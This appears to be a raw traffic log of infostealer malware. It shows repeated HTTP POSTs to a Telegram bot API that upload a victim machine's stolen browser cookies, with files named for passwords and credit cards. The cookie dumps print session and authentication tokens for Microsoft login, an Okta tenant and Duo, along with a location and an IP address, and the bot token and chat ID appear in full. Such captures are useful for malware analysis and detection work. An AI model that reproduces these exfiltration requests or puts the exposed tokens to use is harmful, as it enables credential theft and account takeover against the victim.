"d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUNVQitDb1dOelNaWDV0UnBJb0JJb3RybVBHcWtEdnZhN00xY01kZTd5Tml5cmdsajNjbVhQZ3lxWERxV0FsQzJHbG5YV0dyUHRETE0wRllKY21GV3FQaVVOcGt6VU1sOFdMRkQ5QXZGNEFrZ3RYNmlsVFIzRWdob3Ryd1VMZ3cxUEJMODk5YU5sNWM1YkVXTzNyTTUzSmpNSGN4bGpsOEdTYlgwaExoU1U4aUwzTkIyQjQyNjk3VzZSRnNGYUwxeHhJemNwLzgxYUxHd0YrY2tHc0pzWTdtN2N6Yy92QWppVUZpSnhIYldNbm5taUJYQ3F0RVNSY2ZrUGx4NVh1TkFUK1NkbTcyYXdQS2dhbVNGRUhvY0pCZ21ENWlsTXJsQUh0dVVvL25qSlhvQ1pHUnVMVnd1QjVHMFozTEREbnVTeUFwR0pTYllZd1llUUs0U2p0YmxEMGpVV3FManorN2pkTkthU2lCSEo4MURDTnhwK2xiRDM2b1ZEdklNWG1SOEFlVDVrbk1xajZaMnRwSnQ3MXVpd3ZWR1lnWm0vR1VuY3NoQUNnVEx2SmpPWXFRM0dFeThXRXlIQUszTzI4SDBjVVhBbm5MVXduNU51T002M25LK3UxRGp1YUxyYlZmM0ZsbHdNRXRRaUR1UHcvZjZwbHZYQnlOQlVYKzFua3RWckZpNjBzNWxiK0RjbmVVRUIxZ1ZtTVNwZXgvcWlWN1FVZUVIZGduOTNHSVdKOW8rd3NkOEc3R00xbFNUTUgrUWIvT1dMeHZRSzVwT0lhaFgwaVVZRGxBaWtPQlJzRko4UWpuVC8xSTdBV0RnbGNTMUJycFJ5YkNSMDlTMmZMdHNiTncza3V6RHBJeXE0SGoyZUYzaXVtc09GNGlSQjJsK3pndjE3SFRaWnF1OTYrUU1ORE0wWFliaWd2WEpibDdjQXZPeE9GUkdKdldqWE5DZEJibXpyc1VxK1B0TklINHhSK1M1VGs5VTJhL1dmWll0bUM4cnpwSXQyTlIvajcweklzcWVWWmEyeWxvSWc4Umwva3dQaHpFdWpDOWp1NkVYbHo4d2Fhbmx5dnhOZGFFK2pLMWZqWnh2WEt5VCtCRXdLTDJBcjB3RjNQWHNFSUR4T2dCNmFJVXlKWmtudWZYNnU0bDB3eW9YQjd5S0lCazU0REhnZ1A0clNtVTNDZ1o0ZXRmdlRSUWxSaHZra3dQbHFBUGRVczhJakdyZzZZdlI5VHBrcGFpYVppa2paOXRxaVRsSGdPM2NJVTI2ZGFQbVE9PC9Db29raWU+PC9TZWN1cml0eUNvbnRleHRUb2tlbj4=", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "vlscppe.microsoft.com", "Path": "/", "Name": "thx_guid", "Value": "459f7c585ccc4e1bae96039138b93fde", "Expiry": 1687350467, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MUID", "Value": "12a11495-8216-468c-b4ef-91a01564edd7", "Expiry": 1594988868, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "OGP", "Value": "-5061451:", "Expiry": 1534422677, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "1P_JAR", "Value": "2018-07-17-12", "Expiry": 1534422680, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "optimizelyEndUserId", "Value": "oeu1531830459748r0.9733928579012604", "Expiry": 1594902682, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_ga", "Value": "GA1.2.746119596.1531830390", "Expiry": 1594902687, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gid", "Value": "GA1.2.1680687488.1531830390", "Expiry": 1531917087, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gat", "Value": "1", "Expiry": 1531830747, "IsSecure": false, "IsHttpOnly": false, "Expired": true }]--19a9a391-7464-4172-be50-78ff52dabc9e--" "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="86e8b9a0-0f9f-4e17-90ee-9536048e81a5" Host: api.telegram.org Content-Length: 279" with payload:==> "--86e8b9a0-0f9f-4e17-90ee-9536048e81a5Content-Disposition: form-data; name=document; filename=Gecko_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt; filename*=utf-8''Gecko_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt--86e8b9a0-0f9f-4e17-90ee-9536048e81a5--" "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="69410bbc-4c9c-4299-ae1a-4cb5a9c68b5a" Host: api.telegram.org Content-Length: 273" with payload:==> "--69410bbc-4c9c-4299-ae1a-4cb5a9c68b5aContent-Disposition: form-data; name=document; filename=Gecko_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt; filename*=utf-8''Gecko_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.53.txt--69410bbc-4c9c-4299-ae1a-4cb5a9c68b5a--"4d:T946c,"POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="11829c8c-009a-4b96-b2bd-bfb7540afe4b" Host: api.telegram.org Content-Length: 14185 Connection: Keep-Alive" with payload:==> "--11829c8c-009a-4b96-b2bd-bfb7540afe4bContent-Disposition: form-data; name=document; filename=Chromium_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.51.json; filename*=utf-8''Chromium_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.51.json[ { "Browser": "Google Chrome", "Profile": "Default", "Domain": "ogs.google.com", "Path": "/", "Name": "OTZ", "Value": "7460170_88_88_104280_84_446940", "Expiry": 1712506199, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Google Chrome", "Profile": "Default", "Domain": ".google.com", "Path": "/", "Name": "NID", "Value": "512=GaIWG2XErwXZiLYBiquN_7iyfbz3JhbiQU45CnOElIYH5IPZ-JFQTXxwdubVOgj-B9cVgkcMCrMEAlaHrmac0o8sI0Ll3ffehUk6LUCGAIF-HhczuAy6dki2uDWlOYaQr-2FOZKuhW5yOlB-hM76Ycp6EAtMmbZ9gHzzydvKrtE", "Expiry": 1725725429, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".mediago.io", "Path": "/", "Name": "__mguid_", "Value": "6b645479206cf06c52b9942d5a69fa02", "Expiry": 1745775274, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".popin.cc", "Path": "/", "Name": "__mguid_", "Value": "5d2fd59fbae537693bad87b9b486c1ef", "Expiry": 1762641792, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "ABDEF", "Value": "V=13&ABDV=13&MRNB=1709914096579&MRB=0", "Expiry": 1744474096, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".doubleclick.net", "Path": "/", "Name": "IDE", "Value": "AHWqTUkDGV3wgTFhsU-qBz-5IrBlXYLuvmjllUGNSdNo-M1wxG1gZvMnvnPSYdxNP9g", "Expiry": 1744474099, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "SRCHUSR", "Value": "DOB=20220428&T=1709914095000", "Expiry": 1744474097, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "USRLOC", "Value": "HS=1&ELOC=LAT=49.279151916503906|LON=-123.11663818359375|N=Vancouver%2C%20British%20Columbia|ELT=1|", "Expiry": 1744474096, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "_RwBf", "Value": "ilt=3&ihpd=0&ispd=1&rc=13&rb=0&gb=0&rg=200&pc=10&mtu=0&rbb=0&g=0&cid=&clo=0&v=1&l=2024-03-08T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2024-03-08T16:08:17.3400257+00:00&rwred=0&wls=&lka=0&lkt=0&TH=&r=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0001-01-01T00:00:00.0000000&rwflt=0001-01-01T00:00:00.0000000&wlb=&wle=&ccp=&aad=0", "Expiry": 1741450097, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "_SS", "Value": "SID=00", "Expiry": 1741450085, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome", "Name": "_ga", "Value": "GA1.2-2.1000637438.1709914100", "Expiry": 1744474110, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome/", "Name": "_ga", "Value": "GA1.1-2.1000637438.1709914100", "Expiry": 1744474110, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".linkedin.com", "Path": "/", "Name": "bcookie", "Value": "\"v=2&98789ba8-528f-4df4-8ba8-ccdec94c55a5\"", "Expiry": 1741450085, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".google.com", "Path": "/chrome/", "Name": "_ga_B7W0ZKZYDK", "Value": "GS1.1-2.1709914102.1.1.1709914125.0.0.0", "Expiry": 1744474125, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "assets.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610255, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610254, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "_EDGE_V", "Value": "1", "Expiry": 1743610254, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".ntp.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en||ca|en-ca|en-ca|en||RefA=04AD1899CBCD42F1A59303D8318894C8.RefC=2024-03-08T16:08:02Z", "Expiry": 1741450255, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en||ca|en-ca|en-ca|en||RefA=822484962F034C50AE4F31D425B5E586.RefC=2024-03-08T16:10:54Z", "Expiry": 1744474254, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MSFPC", "Value": "GUID=99db494f794a4c21af6255a5bf556203&HASH=99db&LV=202303&V=4&LU=1678459558597", "Expiry": 1741450451, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MUIDB", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1743610444, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "SRCHHPGUSR", "Value": "SRCHLANG=en", "Expiry": 1744474445, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "sptmarket", "Value": "en-us||ca|en-ca|en-ca|en||RefA=3BED9F13895541C998363E2284D93BF5.RefC=2024-03-08T16:14:03Z", "Expiry": 1744474443, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "www.msn.com", "Path": "/", "Name": "MicrosoftApplicationsTelemetryDeviceId", "Value": "20d5ab14-cfcb-4497-9569-2cac0e5ed75f", "Expiry": 1741450487, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".scorecardresearch.com", "Path": "/", "Name": "UID", "Value": "1DA96fb7b08f419c1dac52a1651167224", "Expiry": 1744474484, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".dc.arrivalist.com", "Path": "/", "Name": "avlcnt", "Value": "1", "Expiry": 1741450488, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".dc.arrivalist.com", "Path": "/", "Name": "avlukey", "Value": "65eb3978393159.39615679", "Expiry": 1741450488, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".mgid.com", "Path": "/", "Name": "muidn", "Value": "m3sNYbRJmwxa", "Expiry": 1741450486, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".adnxs.com", "Path": "/", "Name": "receive-cookie-deprecation", "Value": "1", "Expiry": 1744474489, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "ANONCHK", "Value": "0", "Expiry": 1721061512, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "MR", "Value": "0", "Expiry": 1721665712, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "MR", "Value": "0", "Expiry": 1721665712, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".bing.com", "Path": "/", "Name": "MUID", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "MUID", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "SRM_B", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.bing.com", "Path": "/", "Name": "SRM_M", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".c.msn.com", "Path": "/", "Name": "SRM_M", "Value": "2C097C3305E66A6E15C5680F04626BEC", "Expiry": 1754756912, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".github.com", "Path": "/", "Name": "_octo", "Value": "GH1.1.1635810349.1721060913", "Expiry": 1752596914, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".github.com", "Path": "/", "Name": "logged_in", "Value": "no", "Expiry": 1752596914, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "ntps", "Value": "{\"m\":\"en-ca\"}", "Expiry": 1736785712, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/edge", "Name": "pglt-edgeChromium-dhp", "Value": "43", "Expiry": 1736785713, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "ai_session", "Value": "85E0Mztb1Wr4hUXARcJkew|1721060911880|1721061014809", "Expiry": 1721062814, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": "ntp.msn.com", "Path": "/", "Name": "MicrosoftApplicationsTelemetryDeviceId", "Value": "c20593ac-a091-4cd6-839f-e17bb0b5b252", "Expiry": 1752597048, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/", "Name": "OptanonConsent", "Value": "isGpcEnabled=0&datestamp=Mon+Jul+15+2024+09%3A30%3A48+GMT-0700+(Pacific+Daylight+Time)&version=202310.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&landingPath=NotLandingPage&groups=C0001%3A1%2CC0003%3A0%2CC0002%3A0%2CC0004%3A0%2CV2STACK42%3A0&AwaitingReconsent=false", "Expiry": 1752597048, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/edge", "Name": "pglt-edgeChromium-ntp", "Value": "43", "Expiry": 1736785847, "IsSecure": false, "IsHttpOnly": false, "Expired": true }]--11829c8c-009a-4b96-b2bd-bfb7540afe4b--" "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="19a9a391-7464-4172-be50-78ff52dabc9e" Host: api.telegram.org Content-Length: 25406" with payload:==> "--19a9a391-7464-4172-be50-78ff52dabc9eContent-Disposition: form-data; name=document; filename=Gecko_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.53.json; filename*=utf-8''Gecko_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.53.json[ { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gat_UA-36116321-1", "Value": "1", "Expiry": 1520275059, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_ga", "Value": "GA1.2.12219564.1520275000", "Expiry": 1583347002, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gid", "Value": "GA1.2.411848676.1520275000", "Expiry": 1520361402, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gali", "Value": "skip-button", "Expiry": 1520275099, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "OGPC", "Value": "19005936-1:", "Expiry": 1534048070, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/complete/search", "Name": "CGIC", "Value": "CgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA", "Expiry": 1547608854, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/search", "Name": "CGIC", "Value": "CgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA", "Expiry": 1547608854, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/verify", "Name": "SNID", "Value": "AGRGHO6QHrVrOxLFGr7rk0whYmanv-Yt0NiPe4u_HLWSmwvfuRb9rKBMkf6HQNvTewpJ2Op8iY-pGQ773aac", "Expiry": 1547382379, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "_icl_visitor_lang_js", "Value": "en", "Expiry": 1534422385, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "VSCOMGeo", "Value": "false", "Expiry": 1534422389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MC1", "Value": "GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646", "Expiry": 1563366389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MS0", "Value": "95c7cc889f304134945b37edd6a8a421", "Expiry": 1531832189, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "MSFPC", "Value": "GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646", "Expiry": 1563366389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "DT", "Value": "DI0CAq6_IhTSTqow2RunhKcdw", "Expiry": 1594902411, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "oktaStateToken", "Value": "00tWCcr55PVItt5EgoafFC8V8rYoCmZ7mVPUz0Sfff", "Expiry": 1531830724, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "api-81556a20.duosecurity.com", "Path": "/", "Name": "trc|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O", "Value": "EPZEC9PWG6PELMQIT1R3", "Expiry": 2147483647, "IsSecure": true, "IsHttpOnly": true, "Expired": false }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "api-81556a20.duosecurity.com", "Path": "/", "Name": "hac|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O", "Value": "|64.124.12.162|1531830438|a70d281e4438b3d8bfe84f32a61684be948d3b62", "Expiry": 2147483647, "IsSecure": true, "IsHttpOnly": true, "Expired": false }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "ADRUM_BTa", "Value": "\"R:50|g:d865668d-daca-410a-92ff-c44770628b5a|n:Okta_6d5b1e30-d05a-4894-a37b-81b5f6c60e0e\"", "Expiry": 1531830468, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "ADRUM_BT1", "Value": "\"R:50|i:11276|e:63\"", "Expiry": 1531830468, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "proximity_0371cacd3c86c11110ce4a7c15c77e19", "Value": "AMZGnO6o/2MBiNoUnYqDF4QuXiAX2tjRZ3EZEWkyQNBJpqvois7unYHbEn9CQk1aRt/dDJ62exueVegL+oeH32etEMYRBZ4mZ5mnucIAjGB7oQDm7xzGBvsn4EOVfUmfP2WoF3BIFXcM/eUVl+BIXrSqz8k2jgHuV2LneZmwtRT4FDljwMnA/ykCkZUy/au0", "Expiry": 1563366439, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".login.microsoftonline.com", "Path": "/", "Name": "ESTSAUTHPERSISTENT", "Value": "AQABAAIAAADXzZ3ifr-GRbDT45zNSEFEqN3lcIcVk_txN002M0aSKQ3vHW-KKOvT0l2FZ5krXRiGe96TPP0Tcdc6aThD24EQH8XwfNYwKzYh6BSJahL-oq-FqtQOVLX6IP0IHlIhxw-Ihyfe0FqrqvTD43U2Y61kdV9Rw3nKJ-o84ELeq6SnuvDQVWEa0gLrhMj6Ik1XYwnl7l6WaT97koJKqKiVkJ1iuYOGM14-4P5Z0RrE80sH9UpU7lILLtXYP0YzVKWnoa-Uwe0dHjL9vSG_PkueznTUAxucsJQk2oUrzIlA1yJUM3SeE_SorL1eWJCWTxwzllEh9ehA55c3PSRxk6_tWpa_Hl9sKQE0AZGVFdH8TNX5OBttLH77N-umvMYVf2FDyTSviNUBGpfuL_nFmLZBw9B8Qwkp7iLFzpMZ_uJIYFzR6AgqEWS-_empWfontUAITrgfrGEpEMBVFXl9OtIHHwXlpol4NUzw6qDIhTaTr_xSOrzPhBOGBZarDixDjEMzYL77D8X2dlwK7zPHgdu0TwDgJ7V_VMbnhivHTN50xlFCMutxdLodQe0yneDFsxtWkDZi-Rl39EBMbfH9HvKOxlkjE5GFIPxcCFvOSHqdohyPLKcqLzR2pHQU3etiM10t3NkgAA", "Expiry": 1539606443, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "login.microsoftonline.com", "Path": "/", "Name": "buid", "Value": "AQABAAEAAADXzZ3ifr-GRbDT45zNSEFERgmHaE21nvvOTVY2_75NkZGI-YsBWBOulFAsZCsrrazoD5DQYQgBT_JZuf__eWQggSLq9PdegrrzFZkXIh3A2gMy_FuhlXOW57d9R1-d9Uuti08zZmHg5eKAHcXs5BhZVzGDuYQQwVXl-TJShRyYQXZ3-1bRaTsFO7WjwrAFzCEgAA", "Expiry": 1534422443, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".login.microsoftonline.com", "Path": "/", "Name": "CCState", "Value": "Q3VjRENrUnRZWEpqTG5KcGRtVnliMEJqY205M1pITjBjbWxyWlM1amIyMThZWEJ3T2pRNU9XSTROR0ZqTFRFek1qRXROREkzWmkxaFlURTNMVEkyTjJOaE5qazNOVGM1T0JLVEF6Q0NBWThHQ1NxR1NJYjNEUUVIQTZDQ0FZQXdnZ0Y4QWdFQU1ZSUJTRENDQVVRQ0FRQXdMREFWTVJNd0VRWURWUVFERXdwTlUwbFVJRU5CSUZveUFoTldBRkFQYkxqbkNEUUZXZllJQUFBQVVBOXNNQTBHQ1NxR1NJYjNEUUVCQVFVQUJJSUJBR08rUElFbUptYm5JUllvRjRXRXNxZ2l4VXFFTmJNd0V4TnpFQW1FbHRZa2dYRnZNOXV1MnBCTmVmV0ZxWEhTTHlUSklUaE1UcUhrUW9OemYwUndpN2pLVTZFUXd4V0UweitoQmxoc29DNlExRFI5NjFDR2pydnZCMkgvOTBYbEJYY2l5YTdtVTQvd0xPcDJ6M0R0UFR0N0k5TDU3bGNyM29lL2RGL1E5dElFM21QSks3NmlpK2I1M25wTXYrNEE0WXRNTVdwUUdjVGZMYkd6R3plamV0MVJKZUNkaTVIUk5tRzB5b3ArOUMwTExhSCttNmI2UGlCMG5GdmcrMWk4bFV3dnhFZW84dnhxU25xLzYzd1hyTUlHMzM4cVNWeTh2Mm92MmtPSjRvVW5rOG9QU1YyWTZmQldEcDZ5VHFRanU0Sy9WRFU3VVNvbkt1MzRiMU93WWswd0t3WUpLb1pJaHZjTkFRY0JNQlFHQ0NxR1NJYjNEUU1IQkFnQ0JldldwU3c2UVlBSUxlbmY0ZTlqZ1dnYUNRbHp5UVh6Myt2VlNCSVNDaEQ3SmY1Y1cxSmxTcWp4a1dTUitBWnZHZ2tKdDJ2WXBlRHIxVWc9", "Expiry": 1534422143, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": 